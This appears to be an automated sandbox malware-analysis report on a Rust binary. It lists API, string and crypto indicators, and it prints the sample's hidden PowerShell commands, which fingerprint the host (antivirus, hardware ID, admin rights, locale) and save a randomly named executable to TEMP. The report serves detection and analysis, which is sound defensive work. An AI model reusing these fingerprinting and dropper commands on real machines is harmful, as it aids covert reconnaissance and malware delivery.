(Indicator: "Receive-PSSession"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp")68:T542,Found registry query API: "RegOpenKeyExW" in file "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin" Found registry query API: "RegQueryValueExW" in file "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin" Found registry query API: "RegOpenKeyA" in file "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin" Found registry query API: "RegOpenKeyExA" in file "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin" Found registry query API: "RegQueryValueExA" in file "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin" Found registry query API: "RegOpenKeyW" in file "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin" Found registry query API: "RegQueryInfoKeyW" in file "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin" Found registry query API: "RegEnumKeyExA" in file "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin" Found registry query API: "RegEnumKeyA" in file "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin" Found registry query API: "RegEnumValueA" in file "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin" Found registry query API: "RegQueryInfoKeyA" in file "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin"69:T7dc,Process "powershell.exe" with commandline "-NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$d=(Get-CimInstance Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; \\"$d|$m|$h\\""" (UID: 00000000-00003964, Additional Context: "1).SerialNumber \"$d(Get -CimInstance 1).MACAddressDESKTOP-FVVF82A\;") Process "powershell.exe" with commandline "-NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ErrorActionPreference = 'SilentlyContinue'try { $av = ((Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -EA SilentlyContinue | Select -ExpandProperty displayName) -join ', ') } catch { $av = 'unknown' }if ([string]::IsNullOrEmpty($av)) { $av = 'unknown' }try { Add-Type -AssemblyName System.Windows.Forms -EA SilentlyContinue; $s = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $screen = \\"$($s.Width)x$($s.Height)\\" } catch { $screen = 'unknown' }try { $locale = (Get-Culture).LCID.ToString('X4') } catch { $locale = 'unknown' }try { $tz = (Get-TimeZone).DisplayName } catch { $tz = 'unknown' }try { $reboot = (Get-CimInstance Win32_OperatingSystem -EA SilentlyContinue).LastBootUpTime.ToString('yyyy-MM-dd HH:mm:ss') } catch { $reboot = 'unknown' }try { $d = (Get-CimInstance Win32_DiskDrive -EA SilentlyContinue | Select -First 1).SerialNumber $m = (Get-CimInstance Win32_NetworkAdapterConfiguration -EA SilentlyContinue | Where {$_.MACAddress} | Select -First 1).MACAddress $hwid = \\"$d|$m|$env:COMPUTERNAME\\"} catch { $hwid = 'unknown' }try { $admin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) } catch { $admin = 'False' }\\"AV=$av\\"\\"SCREEN=$screen\\"\\"LOCALE=$locale\\"\\"TZ=$tz\\"\\"REBOOT=$reboot\\"\\"HWID=$hwid\\"\\"ADMIN=$admin\\""" (UID: 00000000-00007612)6a:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00003964) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00003964) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003964) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00003964) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00003964) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00003964) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00003964) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00003964) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00003964) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00003964) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00003964) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00003964) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00003964) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00003964) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00003964) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00003964) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00003964) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00003964) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00003964) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00003964)6b:T1238,file/memory contains long string with (Indicator: "aes"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found string "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/engine/general_purpose/mod.rs" (Indicator: "base64"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") file/memory contains long string with (Indicator: "base64"; File: "htctl32.dll") Found string "ElapsedOpenClosedStreamIdLengthChunkedstatechunk_lenextensions_cntEofInitContinueKeepAliveNotEofWriter must be present/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/write/encoder.rs" (Indicator: "base64"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found string "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/encode.rs" (Indicator: "base64"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found string "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/engine/mod.rs" (Indicator: "base64"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found string "base64 is always valid HeaderValue/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/util.rs" (Indicator: "base64"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") file/memory contains long string with (Indicator: "aes"; File: "SSL") file/memory contains long string with (Indicator: "chacha"; File: "SSL") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00000760.00000001.92551.05EE0000.00000004.mdmp, 00000000-00000760.00000001.92551.203A0000.00000004.mdmp, 00000000-00000760.00000002.94470.05EE0000.00000004.mdmp, 00000000-00000760.00000002.94470.203A0000.00000004.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000760.00000001.92551.203A0000.00000004.mdmp, 00000000-00000760.00000002.94470.203A0000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000760.00000001.92551.203A0000.00000004.mdmp, 00000000-00000760.00000002.94470.203A0000.00000004.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000760.00000001.92551.713B0000.00000004.mdmp, 00000000-00000760.00000001.92551.71430000.00000004.mdmp, 00000000-00000760.00000002.94470.713D0000.00000004.mdmp, 00000000-00000760.00000002.94470.713F0000.00000004.mdmp") Found string "md5cryptoserviceprovider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00000760.00000001.92551.713B0000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "rijndael"; Source: "00000000-00000760.00000001.92551.713B0000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "Rijndaelmanaged"; Source: "00000000-00000760.00000001.92551.713B0000.00000004.mdmp") Found string "tobase64transform" (Indicator: "base64"; Source: "00000000-00000760.00000001.92551.713B0000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000760.00000001.92551.713B0000.00000004.mdmp, 00000000-00000760.00000001.92551.71430000.00000004.mdmp, 00000000-00000760.00000002.94470.713D0000.00000004.mdmp, 00000000-00000760.00000002.94470.713F0000.00000004.mdmp") Found string "ecdsacertificateextensions" (Indicator: "ecdsa"; Source: "00000000-00000760.00000001.92551.71430000.00000004.mdmp") Found string "ecdsax509signaturegenerator" (Indicator: "ecdsa"; Source: "00000000-00000760.00000001.92551.71430000.00000004.mdmp") Found string "aescryptoserviceprovider" (Indicator: "aes"; Source: "00000000-00000760.00000001.92551.71430000.00000004.mdmp") Found string "aescryptoserviceprovider" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00000760.00000001.92551.71430000.00000004.mdmp") Found string "ecdsa" (Indicator: "ecdsa"; Source: "00000000-00000760.00000001.92551.71430000.00000004.mdmp") Found string "aesmanaged" (Indicator: "aes"; Source: "00000000-00000760.00000001.92551.71430000.00000004.mdmp") Found string "ecdsacng" (Indicator: "ecdsa"; Source: "00000000-00000760.00000001.92551.71430000.00000004.mdmp") Found string "stringtobase64converter" (Indicator: "base64"; Source: "00000000-00000760.00000001.92551.71430000.00000004.mdmp") Found string "psrsacryptoserviceprovider" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00000760.00000001.92551.71450000.00000004.mdmp")6c:T50d,Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetDC" (Indicator: "GetDC"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "CreateDCA" (Indicator: "CreateDC"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetDCOrgEx" (Indicator: "GetDC"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin")6d:T5ee,Found string "Select-Object" (Indicator: "Select-Object"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Measure-Object" (Indicator: "Measure-Object"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Microsoft.PowerShell.Core\Where-Object {$_.Name -match '^Verbs.'} |" (Indicator: "Where-Object"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Select-Object @{" (Indicator: "Select-Object"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "$allVerbs | Microsoft.PowerShell.Core\Where-Object { $_.Verb -like $v }" (Indicator: "Where-Object"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "ForEach-Object" (Indicator: "ForEach-Object"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Where-Object" (Indicator: "Where-Object"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Compare-Object" (Indicator: "Compare-Object"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Group-Object" (Indicator: "Group-Object"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Sort-Object" (Indicator: "Sort-Object"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Tee-Object" (Indicator: "Tee-Object"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp")6e:T88c,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "Module32NextW" (Indicator: "Module32Next"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "Module32FirstW" (Indicator: "Module32First"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "10626465320,7840,3121,,CreateToolhelp32Snapshot,kernel32.dll,"00:23:35.968",RX=0,PX=0" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00000760.00000000.90630.05EE0000.00000004.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003964.00000000.88610.EE182000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003964.00000000.88610.EE182000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00003964.00000000.88610.EE182000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003964.00000000.88610.EE182000.00000002.mdmp")6f:T116f,Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003964.00000000.88610.EE182000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003964.00000000.88610.EE182000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003964.00000000.88610.EE182000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003964.00000000.88610.EE182000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003964.00000000.88610.EE182000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003964.00000000.88610.EE182000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00003964.00000000.88610.EE182000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00003964.00000000.88610.EE182000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00003964.00000000.88610.EE182000.00000002.mdmp")70:T7fa,file/memory contains long string with (Indicator: "Get-CimInstance"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found string "$d=(Get-CimInstance Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; "$d|$m|$h"" (Indicator: "Get-CimInstance"; File: "AMSI") Found string "Set-Alias -Name gcim -Value Get-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Get-CimInstance"; File: "AMSI") file/memory contains long string with (Indicator: "Get-CimInstance"; File: "AMSI") file/memory contains long string with (Indicator: "Get-CimInstance"; File: "powershell.exe") file/memory contains long string with (Indicator: "Get-CimInstance"; Source: "00000000-00003964.00000000.88610.B8100000.00000004.mdmp, 00000000-00003964.00000001.88837.B8100000.00000004.mdmp") Found string "$d=(Get-CimInstance Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; "$d|$m|$h"" (Indicator: "Get-CimInstance"; Source: "00000000-00003964.00000000.88610.B8100000.00000004.mdmp, 00000000-00003964.00000000.88610.B8390000.00000004.mdmp, 00000000-00003964.00000000.88610.B9C10000.00000004.mdmp, 00000000-00003964.00000000.88610.BA340000.00000004.mdmp, 00000000-00003964.00000000.88610.D2560000.00000004.mdmp, 00000000-00003964.00000001.88837.B8100000.00000004.mdmp, 00000000-00003964.00000001.88837.B8390000.00000004.mdmp, 00000000-00003964.00000001.88837.D2581000.00000004.mdmp, 00000000-00003964.00000001.88837.D282C000.00000004.mdmp") Found string "nce Win32_DiskDrive | Select -First 1).SerialNumber; $m=(Get-CimInstance Win32_NetworkAdapterConfiguration | Where {$_.MACAddress} | Select -First 1).MACAddress; $h=$env:COMPUTERNAME; "$d|$m|$h"" (Indicator: "Get-CimInstance"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp")71:Tce8,Found string "|'.Replace('deployer-file-otp.php','deployer-file.php')$dest=Join-Path $env:TEMP ('svc'+(Get-Random -Maximum 99999)+'.exe')" (Indicator: "Get-Random"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") file/memory contains long string with (Indicator: "Get-Random"; File: "netcheck.ps1") Found string "Get-Command" (Indicator: "Get-Command"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-Module" (Indicator: "Get-Module"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-FormatData" (Indicator: "Get-FormatData"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-Help" (Indicator: "Get-Help"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string ".FORWARDHELPTARGETNAME Get-Help" (Indicator: "Get-Help"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-Help @PSBoundParameters | more" (Indicator: "Get-Help"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Get-Member -type Properties -static |" (Indicator: "Get-Member"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-PSBreakpoint" (Indicator: "Get-PSBreakpoint"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-Variable" (Indicator: "Get-Variable"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-Content $file | more.com" (Indicator: "Get-Content"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-Verb" (Indicator: "Get-Verb"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "$null = Read-Host '" (Indicator: "Read-Host"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "$null = Read-Host 'Press Enter to continue...'" (Indicator: "Read-Host"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-Alias" (Indicator: "Get-Alias"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-Content" (Indicator: "Get-Content"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-ChildItem" (Indicator: "Get-ChildItem"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-PSDrive" (Indicator: "Get-PSDrive"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-PSCallStack" (Indicator: "Get-PSCallStack"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-History" (Indicator: "Get-History"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-Location" (Indicator: "Get-Location"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-Member" (Indicator: "Get-Member"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-ItemProperty" (Indicator: "Get-ItemProperty"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-Service" (Indicator: "Get-Service"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp")72:T573,Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "LookupAccountSidA" (Indicator: "LookupAccountSid"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "NetUserEnum" (Indicator: "NetUserEnum"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetUserObjectSecurity" (Indicator: "GetUserObjectSecurity"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin")73:T70e,Found string "wrong archive password" (Indicator: "password"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found string "(password:" (Indicator: "password"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found string "Urlschemecannot_be_a_baseusernamepasswordhostportqueryfragment" (Indicator: "password"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found string "has_authority means set_password shouldn't fail" (Indicator: "password"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found string "specified file not found in archiveThe password provided is incorrect" (Indicator: "password"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") file/memory contains long string with (Indicator: "secret"; File: "SSL") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00000760.00000002.94470.713D0000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00000760.00000002.94470.713F0000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00000760.00000002.94470.713F0000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00000760.00000002.94470.714A0000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00000760.00000002.94470.714A0000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: 